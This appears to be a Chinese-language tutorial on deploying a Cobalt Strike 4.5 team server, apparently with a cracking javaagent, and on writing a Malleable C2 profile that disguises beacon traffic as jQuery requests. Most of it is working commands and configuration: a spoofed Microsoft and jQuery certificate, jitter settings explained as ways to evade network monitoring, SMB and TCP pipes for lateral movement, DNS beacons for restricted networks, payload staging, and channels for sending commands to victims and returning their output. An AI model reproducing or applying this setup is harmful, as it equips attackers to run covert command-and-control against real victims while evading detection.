# ssl证书重命名(teamserver在配置文件中写死了,必须是该文件名才行) mv cobaltstrike_new.store cobaltstrike.store # 进入teamserver文件中修改刚才生成的密码 vim teamserver # start the team server. java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=8080 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=1qazwsx -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542 -Duser.language=en server.TeamServer $*
1 2 3 4 5 6
if [ -e ./cobaltstrike.store ]; then print_info "Will use existing X509 certificate and keystore (for SSL)" else print_info "Generating X509 certificate and keystore (for SSL)" keytool -keystore ./cobaltstrike.store -storepass Microsoft -keypass Microsoft -genkey -keyalg RSA -alias microsoft.com -dname "CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=WA, C=US" fi
运行即可:
1 2 3 4
root@HWY:~/coablt_strike_4.5_jx# ./teamserver xxx.xx.xx.xx(本机地址) xxxxx(密码) [*] Willuse existing X509 certificate and keystore (forSSL) [+] Team server is up on 0.0.0.0:xxxx [*] SHA256 hash of SSL cert is:9d8ae956df258df5e3a45e6aedeaa8f310a201c6ff2e83fe9d06b719d5f814f8
详细分析: # Malleable C2 Profile # Version: CobaltStrike 4.5 # File: jquery-c2.4.5.profile # Description: # c2 profile attempting to mimic a jquery.js request # uses signed certificates # or self-signed certificates # Authors: @joevest, @andrewchiles, @001SPARTaN ### Global Option Block
# 设置全局变量 sample_name , 值是当前文件名 set sample_name "demo(文件名)"; # 设置心跳包的时间 , 单位毫秒 set sleeptime "1000"; # 45 Seconds 1000毫秒==1秒 # set sleeptime "<60000>"; # 1 Minute , 默认的 # 设置心跳包时间的波动范围 45 +- 45*37% set jitter "50"; # % jitter 1 +- 1*50% # 意味着每次HTTP服务器响应时(cs上监听服务选择的http协议),都会附加一个长度在0到100个字符之间的随机字符串。这样做的目的是为了增加服务器响应的大小的不可预测性,使得Cobalt Strike的通信模式更难以通过网络监控工具被识别和分析。 set data_jitter "100"; # 设置全局的UA头 set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36";
https-certificate ssl证书配置: https-certificate { set C "US"; #国家 set CN "jquery.com"; set O "jQuery"; set OU "Certificate Authority"; set validity "365"; set keystore "cobaltstrike.store"; # 证书文件 set password "1qazwsx"; # 证书密码 //密码不正确会报错(前提:监听器使用的是https协议) }
SMB和TCP , smb会在横向渗透使用到: ### SMB Beacon set pipename "mojo.5688.8052.183894939787088877##"; # # smb管道的名字 set pipename_stager "mojo.5688.8052.35780273329370473##"; # smb stager管道的名字 set smb_frame_header "\x80"; ### TCP Beacon 监听端口 set tcp_port "42585" set tcp_frame_header "\x80"
DNS beacon , 不经常使用 , 但是对于只有DNS协议出网的设备可以使用: dns-beacon { set dns_idle "74.125.196.113"; # # 第一次dns查询的地址 set dns_max_txt "252";# # 昀大查询次数 , 255以下 , 能被4整除 set dns_sleep "0"; # # sleep时间 set dns_ttl "5"; # ttl值 set maxdns "255"; # 昀大dns服务转接数量 set dns_stager_prepend ".resources.123456."; # # 使用dns协议的马,pe头追加的内容 set dns_stager_subhost ".feeds.123456."; # # 子域名的查询配置 # DNS subhosts override options, added in version 4.3 set beacon "a.bc."; set get_A "b.1a."; set get_AAAA "c.4a."; set get_TXT "d.tx."; set put_metadata "e.md."; set put_output "f.po."; set ns_response "zero";
SSH beacons: 配置用于横向移动的SSH伪Beacon。 set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)"; # SSH连接的banner信息 set ssh_pipename "wkssvc##"; # 定义了用于SSH伪Beacon通信的命名管道的名称前缀,##是一个占位符
http-stager 块是用来自定义HTTP阶段化(staging)过程的配置。阶段化是Cobalt Strike中的一个重要概念,它指的是将第二阶段的有效载荷(即用于后渗透测试的代码)传输到已经受到攻击者控制的主机上的过程。 # 用于指定是否启用通过HTTP、HTTPS或DNS进行阶段化(第二阶段)的有效载荷(payload)托管。 set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set http-stager { set uri_x86 "/jquery-3.3.1.slim.min.js"; set uri_x64 "/jquery-3.3.2.slim.min.js"; //weblog中访问的路径(混淆) server { header "Server""NetDNA-cache/2.2"; header "Cache-Control""max-age=0, no-cache"; header "Pragma""no-cache"; header "Connection""keep-alive"; header "Content-Type""application/javascript; charset=utf-8"; output { ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line
http-config , 不单单是http实际上也是https的全局响应头配置 http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server""Apache"; header "Keep-Alive""timeout=10, max=100"; header "Connection""Keep-Alive"; set trust_x_forwarded_for "true"; set block_useragents "curl*,lynx*,wget*"; }
http-get (无缩进要求) , 命令的下发相当于是teamserver(cs服务端)向受害者发送一个get请求 # 下发命令访问的uri set uri "/jquery-3.3.1.min.js"; # 请求方法 set verb "GET"; # 客户端配置 client { # 请求头配置 header "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; #header "Host" "code.jquery.com"; header "Referer""http://code.jquery.com/"; header "Accept-Encoding""gzip, deflate"; # 元数据配置 metadata { base64url; prepend "__cfduid="; header "Cookie"; } } # 服务端配置 server { # 响应头设置 header "Server""NetDNA-cache/2.2"; header "Cache-Control""max-age=0, no-cache"; header "Pragma""no-cache"; header "Connection""keep-alive"; header "Content-Type""application/javascript; charset=utf-8"; # # 输出信息 output { mask; base64url; ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line # 响应中html页面头部信息 .... ....
http-post 结果的回传相当于受害者向teamserver发送一个post请求(命令下发是GET请求,回传是POST请求) http-post { # 请求的地址 set uri "/jquery-3.3.2.min.js"; # 请求的方法 set verb "POST"; # 客户端配置 client { # 请求头 header "Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; #header "Host" "code.jquery.com"; header "Referer""http://code.jquery.com/"; header "Accept-Encoding""gzip, deflate"; # 参数 id { mask; base64url; parameter "__cfduid"; } # 输出信息 output { mask; base64url; print; } } # 服务端配置 server { # 响应头配置 header "Server""NetDNA-cache/2.2"; header "Cache-Control""max-age=0, no-cache"; header "Pragma""no-cache"; header "Connection""keep-alive"; header "Content-Type""application/javascript; charset=utf-8"; # 输出的内容 output { mask; base64url; ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line